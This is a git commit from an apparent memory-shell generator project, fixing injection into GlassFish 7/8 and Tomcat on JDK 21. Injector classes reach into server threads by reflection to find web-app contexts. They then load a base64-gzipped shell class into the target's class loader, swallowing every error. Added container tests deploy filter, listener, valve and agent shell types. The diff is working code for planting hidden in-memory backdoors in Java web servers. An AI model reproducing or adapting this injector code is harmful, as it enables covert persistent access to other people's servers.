mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-21 22:50:42 +08:00
fix: glassfish7/8 jdk21 shell failed
This commit is contained in:
+17
-1
@@ -87,7 +87,11 @@ public class GlassFishFilterInjector {
|
||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||
for (Thread thread : threads) {
|
||||
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
||||
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
|
||||
Object target = getThreadTarget(thread);
|
||||
if (target == null) {
|
||||
continue;
|
||||
}
|
||||
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(target, "this$0"), "children");
|
||||
for (Object value : childrenMap.values()) {
|
||||
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
|
||||
contexts.addAll(children.values());
|
||||
@@ -97,6 +101,18 @@ public class GlassFishFilterInjector {
|
||||
return contexts;
|
||||
}
|
||||
|
||||
private Object getThreadTarget(Thread thread) throws Exception {
|
||||
Object target = getFieldValue(thread, "target");
|
||||
if (target == null) {
|
||||
// JDK 21+
|
||||
Object holder = getFieldValue(thread, "holder");
|
||||
if (holder != null) {
|
||||
target = getFieldValue(holder, "task");
|
||||
}
|
||||
}
|
||||
return target;
|
||||
}
|
||||
|
||||
private ClassLoader getWebAppClassLoader(Object context) throws Exception {
|
||||
try {
|
||||
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
||||
|
||||
+14
-1
@@ -76,7 +76,11 @@ public class GlassFishValveInjector {
|
||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||
for (Thread thread : threads) {
|
||||
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
||||
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
|
||||
Object target = getThreadTarget(thread);
|
||||
if (target == null) {
|
||||
continue;
|
||||
}
|
||||
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(target, "this$0"), "children");
|
||||
Collection<?> values = childrenMap.values();
|
||||
for (Object value : values) {
|
||||
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
|
||||
@@ -87,6 +91,15 @@ public class GlassFishValveInjector {
|
||||
return contexts;
|
||||
}
|
||||
|
||||
private Object getThreadTarget(Thread thread) throws Exception {
|
||||
try {
|
||||
return getFieldValue(thread, "target");
|
||||
} catch (NoSuchFieldException e) {
|
||||
// JDK 21+
|
||||
return getFieldValue(getFieldValue(thread, "holder"), "task");
|
||||
}
|
||||
}
|
||||
|
||||
private ClassLoader getWebAppClassLoader(Object context) throws Exception {
|
||||
try {
|
||||
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
||||
|
||||
+9
-4
@@ -199,17 +199,22 @@ public class TomcatContextValveAgentInjector extends ClassLoader implements Clas
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public void defineTargetClass(ClassLoader loader) {
|
||||
// Always define into the target class's loader. loadClass() may resolve the shell from the
|
||||
// agent AppClassLoader, which OSGi bundle loaders cannot use for NEW/invoke.
|
||||
try {
|
||||
loader.loadClass(getClassName());
|
||||
return;
|
||||
} catch (ClassNotFoundException ignored) {
|
||||
java.lang.reflect.Method findLoadedClass = ClassLoader.class.getDeclaredMethod("findLoadedClass", String.class);
|
||||
findLoadedClass.setAccessible(true);
|
||||
if (findLoadedClass.invoke(loader, getClassName()) != null) {
|
||||
return;
|
||||
}
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
try {
|
||||
byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String()));
|
||||
java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
defineClass.invoke(loader, classBytecode, 0, classBytecode.length);
|
||||
} catch (Exception ignored) {
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
+9
-4
@@ -199,17 +199,22 @@ public class TomcatFilterChainAgentInjector implements ClassFileTransformer {
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public void defineTargetClass(ClassLoader loader) {
|
||||
// Always define into the target class's loader. loadClass() may resolve the shell from the
|
||||
// agent AppClassLoader, which OSGi bundle loaders cannot use for NEW/invoke.
|
||||
try {
|
||||
loader.loadClass(getClassName());
|
||||
return;
|
||||
} catch (ClassNotFoundException ignored) {
|
||||
java.lang.reflect.Method findLoadedClass = ClassLoader.class.getDeclaredMethod("findLoadedClass", String.class);
|
||||
findLoadedClass.setAccessible(true);
|
||||
if (findLoadedClass.invoke(loader, getClassName()) != null) {
|
||||
return;
|
||||
}
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
try {
|
||||
byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String()));
|
||||
java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
defineClass.invoke(loader, classBytecode, 0, classBytecode.length);
|
||||
} catch (Exception ignored) {
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
+22
-2
@@ -59,14 +59,22 @@ public class TomcatListenerInjector {
|
||||
for (Thread thread : threads) {
|
||||
String threadName = thread.getName();
|
||||
if (threadName.contains("ContainerBackgroundProcessor")) {
|
||||
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
|
||||
Object target = getThreadTarget(thread);
|
||||
if (target == null) {
|
||||
continue;
|
||||
}
|
||||
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(target, "this$0"), "children");
|
||||
for (Object value : childrenMap.values()) {
|
||||
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
|
||||
contexts.addAll(children.values());
|
||||
}
|
||||
} else if (threadName.contains("Poller") && !threadName.contains("ajp")) {
|
||||
try {
|
||||
Object proto = getFieldValue(getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "handler"), "proto");
|
||||
Object target = getThreadTarget(thread);
|
||||
if (target == null) {
|
||||
continue;
|
||||
}
|
||||
Object proto = getFieldValue(getFieldValue(getFieldValue(target, "this$0"), "handler"), "proto");
|
||||
Object engine = getFieldValue(getFieldValue(getFieldValue(getFieldValue(proto, "adapter"), "connector"), "service"), "engine");
|
||||
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(engine, "children");
|
||||
for (Object value : childrenMap.values()) {
|
||||
@@ -90,6 +98,18 @@ public class TomcatListenerInjector {
|
||||
return contexts;
|
||||
}
|
||||
|
||||
private Object getThreadTarget(Thread thread) throws Exception {
|
||||
Object target = getFieldValue(thread, "target");
|
||||
if (target == null) {
|
||||
// JDK 21+
|
||||
Object holder = getFieldValue(thread, "holder");
|
||||
if (holder != null) {
|
||||
target = getFieldValue(holder, "task");
|
||||
}
|
||||
}
|
||||
return target;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getContextRoot(Object context) {
|
||||
String r = null;
|
||||
|
||||
@@ -70,7 +70,9 @@ public class ServerProbe {
|
||||
if (classNames.contains("org.springframework.boot.web.embedded.netty.NettyWebServer$1")) {
|
||||
return ret = "SpringWebFlux";
|
||||
}
|
||||
if (System.getProperty("AS_INSTALL") != null) {
|
||||
if (System.getProperty("AS_INSTALL") != null
|
||||
|| System.getProperty("com.sun.aas.installRoot") != null
|
||||
|| System.getProperty("glassfish.version") != null) {
|
||||
return ret = "GlassFish";
|
||||
}
|
||||
if (System.getProperty("jboss.home.dir") != null
|
||||
|
||||
+14
-1
@@ -156,7 +156,11 @@ public class GlassFishFilterProbe {
|
||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||
for (Thread thread : threads) {
|
||||
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
||||
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
|
||||
Object target = getThreadTarget(thread);
|
||||
if (target == null) {
|
||||
continue;
|
||||
}
|
||||
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(target, "this$0"), "children");
|
||||
for (Object value : childrenMap.values()) {
|
||||
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
|
||||
contexts.addAll(children.values());
|
||||
@@ -166,6 +170,15 @@ public class GlassFishFilterProbe {
|
||||
return contexts;
|
||||
}
|
||||
|
||||
private Object getThreadTarget(Thread thread) throws Exception {
|
||||
try {
|
||||
return getFieldValue(thread, "target");
|
||||
} catch (NoSuchFieldException e) {
|
||||
// JDK 21+
|
||||
return getFieldValue(getFieldValue(thread, "holder"), "task");
|
||||
}
|
||||
}
|
||||
|
||||
public static Object invokeMethod(Object obj, String methodName) throws Exception {
|
||||
return invokeMethod(obj, methodName, null, null);
|
||||
}
|
||||
|
||||
+14
-1
@@ -32,7 +32,7 @@ public class GlassFishWriter {
|
||||
// GlassFish4+
|
||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||
for (Thread thread : threads) {
|
||||
Object blocker = getFieldValue(thread, "blocker");
|
||||
Object blocker = getThreadBlocker(thread);
|
||||
if (blocker == null || !blocker.getClass().getName().contains("Selector")) {
|
||||
continue;
|
||||
}
|
||||
@@ -62,6 +62,19 @@ public class GlassFishWriter {
|
||||
}
|
||||
}
|
||||
|
||||
private Object getThreadBlocker(Thread thread) {
|
||||
try {
|
||||
return getFieldValue(thread, "blocker");
|
||||
} catch (Throwable ignored) {
|
||||
try {
|
||||
// JDK 21+
|
||||
return getFieldValue(thread, "nioBlocker");
|
||||
} catch (Throwable ignored2) {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private boolean tryWriteRes(Object request) throws Exception {
|
||||
Object response = invokeMethod(request, "getResponse", null, null);
|
||||
String data = getDataFromReq(request);
|
||||
|
||||
+59
@@ -0,0 +1,59 @@
|
||||
package com.reajason.javaweb.integration.memshell.glassfish;
|
||||
|
||||
import com.reajason.javaweb.integration.AbstractContainerTest;
|
||||
import com.reajason.javaweb.integration.ContainerTestConfig;
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.testcontainers.containers.GenericContainer;
|
||||
import org.testcontainers.containers.Network;
|
||||
import org.testcontainers.containers.wait.strategy.Wait;
|
||||
import org.testcontainers.junit.jupiter.Container;
|
||||
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||
|
||||
import java.util.List;
|
||||
|
||||
import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/12
|
||||
*/
|
||||
@Testcontainers
|
||||
public class GlassFish7JDK21ContainerTest extends AbstractContainerTest {
|
||||
private static final ContainerTestConfig CONFIG = ContainerTestConfig.glassFish(
|
||||
"reajason/glassfish:7.1.1-jdk21",
|
||||
"/usr/local/glassfish7/glassfish/domains/domain1/autodeploy/app.war")
|
||||
.waitStrategy(Wait.forLogMessage(".*JMXService.*", 1))
|
||||
.warFile(warJakartaFile)
|
||||
.jakarta(true)
|
||||
.targetJdkVersion(Opcodes.V21)
|
||||
.supportedShellTypes(List.of(
|
||||
ShellType.JAKARTA_FILTER,
|
||||
ShellType.JAKARTA_LISTENER,
|
||||
ShellType.JAKARTA_VALVE,
|
||||
ShellType.AGENT_FILTER_CHAIN,
|
||||
ShellType.CATALINA_AGENT_CONTEXT_VALVE
|
||||
))
|
||||
.unSupportedShellTools(List.of(ShellTool.AntSword))
|
||||
.testPackers(List.of(Packers.JSP))
|
||||
.probeShellTypes(List.of(
|
||||
ShellType.JAKARTA_FILTER,
|
||||
ShellType.JAKARTA_LISTENER,
|
||||
ShellType.JAKARTA_VALVE
|
||||
))
|
||||
.build();
|
||||
|
||||
static Network network = newNetwork();
|
||||
@Container
|
||||
public static final GenericContainer<?> python = buildPythonContainer(network);
|
||||
|
||||
@Container
|
||||
public static final GenericContainer<?> container = buildContainer(CONFIG, network);
|
||||
|
||||
@Override
|
||||
protected ContainerTestConfig getConfig() {
|
||||
return CONFIG;
|
||||
}
|
||||
}
|
||||
+59
@@ -0,0 +1,59 @@
|
||||
package com.reajason.javaweb.integration.memshell.glassfish;
|
||||
|
||||
import com.reajason.javaweb.integration.AbstractContainerTest;
|
||||
import com.reajason.javaweb.integration.ContainerTestConfig;
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.testcontainers.containers.GenericContainer;
|
||||
import org.testcontainers.containers.Network;
|
||||
import org.testcontainers.containers.wait.strategy.Wait;
|
||||
import org.testcontainers.junit.jupiter.Container;
|
||||
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||
|
||||
import java.util.List;
|
||||
|
||||
import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/12
|
||||
*/
|
||||
@Testcontainers
|
||||
public class GlassFish8ContainerTest extends AbstractContainerTest {
|
||||
private static final ContainerTestConfig CONFIG = ContainerTestConfig.glassFish(
|
||||
"reajason/glassfish:8.0.3-jdk21",
|
||||
"/usr/local/glassfish8/glassfish/domains/domain1/autodeploy/app.war")
|
||||
.waitStrategy(Wait.forLogMessage(".*JMXService.*", 1))
|
||||
.warFile(warJakartaFile)
|
||||
.jakarta(true)
|
||||
.targetJdkVersion(Opcodes.V21)
|
||||
.supportedShellTypes(List.of(
|
||||
ShellType.JAKARTA_FILTER,
|
||||
ShellType.JAKARTA_LISTENER,
|
||||
ShellType.JAKARTA_VALVE,
|
||||
ShellType.AGENT_FILTER_CHAIN,
|
||||
ShellType.CATALINA_AGENT_CONTEXT_VALVE
|
||||
))
|
||||
.unSupportedShellTools(List.of(ShellTool.AntSword))
|
||||
.testPackers(List.of(Packers.JSP))
|
||||
.probeShellTypes(List.of(
|
||||
ShellType.JAKARTA_FILTER,
|
||||
ShellType.JAKARTA_LISTENER,
|
||||
ShellType.JAKARTA_VALVE
|
||||
))
|
||||
.build();
|
||||
|
||||
static Network network = newNetwork();
|
||||
@Container
|
||||
public static final GenericContainer<?> python = buildPythonContainer(network);
|
||||
|
||||
@Container
|
||||
public static final GenericContainer<?> container = buildContainer(CONFIG, network);
|
||||
|
||||
@Override
|
||||
protected ContainerTestConfig getConfig() {
|
||||
return CONFIG;
|
||||
}
|
||||
}
|
||||
+38
@@ -0,0 +1,38 @@
|
||||
package com.reajason.javaweb.integration.probe.glassfish;
|
||||
|
||||
import com.reajason.javaweb.integration.probe.AbstractProbeContainerTest;
|
||||
import com.reajason.javaweb.integration.probe.ProbeTestConfig;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.testcontainers.containers.GenericContainer;
|
||||
import org.testcontainers.containers.wait.strategy.Wait;
|
||||
import org.testcontainers.junit.jupiter.Container;
|
||||
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/12
|
||||
*/
|
||||
@Testcontainers
|
||||
public class GlassFish7JDK21ContainerTest extends AbstractProbeContainerTest {
|
||||
|
||||
private static final ProbeTestConfig CONFIG = ProbeTestConfig.glassfishJakarta(
|
||||
"reajason/glassfish:7.1.1-jdk21",
|
||||
"/usr/local/glassfish7/glassfish/domains/domain1/autodeploy/app.war")
|
||||
.expectedJdkVersion("JDK|21.0.11|65")
|
||||
.targetJdkVersion(Opcodes.V21)
|
||||
.waitStrategy(Wait.forLogMessage(".*JMXService.*", 1))
|
||||
.build();
|
||||
|
||||
@Container
|
||||
public static final GenericContainer<?> container = buildContainer(CONFIG);
|
||||
|
||||
@Override
|
||||
protected ProbeTestConfig getConfig() {
|
||||
return CONFIG;
|
||||
}
|
||||
|
||||
@Override
|
||||
protected GenericContainer<?> getContainer() {
|
||||
return container;
|
||||
}
|
||||
}
|
||||
+38
@@ -0,0 +1,38 @@
|
||||
package com.reajason.javaweb.integration.probe.glassfish;
|
||||
|
||||
import com.reajason.javaweb.integration.probe.AbstractProbeContainerTest;
|
||||
import com.reajason.javaweb.integration.probe.ProbeTestConfig;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.testcontainers.containers.GenericContainer;
|
||||
import org.testcontainers.containers.wait.strategy.Wait;
|
||||
import org.testcontainers.junit.jupiter.Container;
|
||||
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/12
|
||||
*/
|
||||
@Testcontainers
|
||||
public class GlassFish8ContainerTest extends AbstractProbeContainerTest {
|
||||
|
||||
private static final ProbeTestConfig CONFIG = ProbeTestConfig.glassfishJakarta(
|
||||
"reajason/glassfish:8.0.3-jdk21",
|
||||
"/usr/local/glassfish8/glassfish/domains/domain1/autodeploy/app.war")
|
||||
.expectedJdkVersion("JDK|21.0.11|65")
|
||||
.targetJdkVersion(Opcodes.V21)
|
||||
.waitStrategy(Wait.forLogMessage(".*JMXService.*", 1))
|
||||
.build();
|
||||
|
||||
@Container
|
||||
public static final GenericContainer<?> container = buildContainer(CONFIG);
|
||||
|
||||
@Override
|
||||
protected ProbeTestConfig getConfig() {
|
||||
return CONFIG;
|
||||
}
|
||||
|
||||
@Override
|
||||
protected GenericContainer<?> getContainer() {
|
||||
return container;
|
||||
}
|
||||
}
|
||||
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
Reference in New Issue
Block a user